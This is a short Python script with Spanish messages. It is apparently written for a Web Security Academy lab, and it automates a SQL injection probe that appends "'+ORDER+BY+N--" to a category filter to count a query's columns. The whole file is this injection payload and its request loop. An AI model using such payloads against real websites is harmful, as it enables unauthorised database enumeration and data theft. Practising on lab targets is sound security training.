import requests, signal, sys

def get_columns(URL):
    for column in range(1,100):
        payload = URL + "'+ORDER+BY+{}--".format(column)
        print("Realizando peticion a: {}".format(payload))

        #GET /filter?category=Pets'+ORDER+BY+3--
        response = requests.get(payload)

        if response.status_code == 500:
            num_column = column - 1
            print("El codigo de estado es: {}\n".format(response.status_code)) 
            return num_column

        print("El numero de columnas es {}\n".format(column))

def def_handler(key,frame):
    print("\n[*] Saliendo")
    sys.exit(1)

def main():
    URL = "https://ac6c1fff1ff884a0801bc99a00a700bb.web-security-academy.net/filter?category=Gifts"
    signal.signal(signal.SIGINT, def_handler)

    #Usando order by
    columns = get_columns(URL)
    print("EL numero de columnas es totales: {}".format(columns))

if __name__ == "__main__":
    main()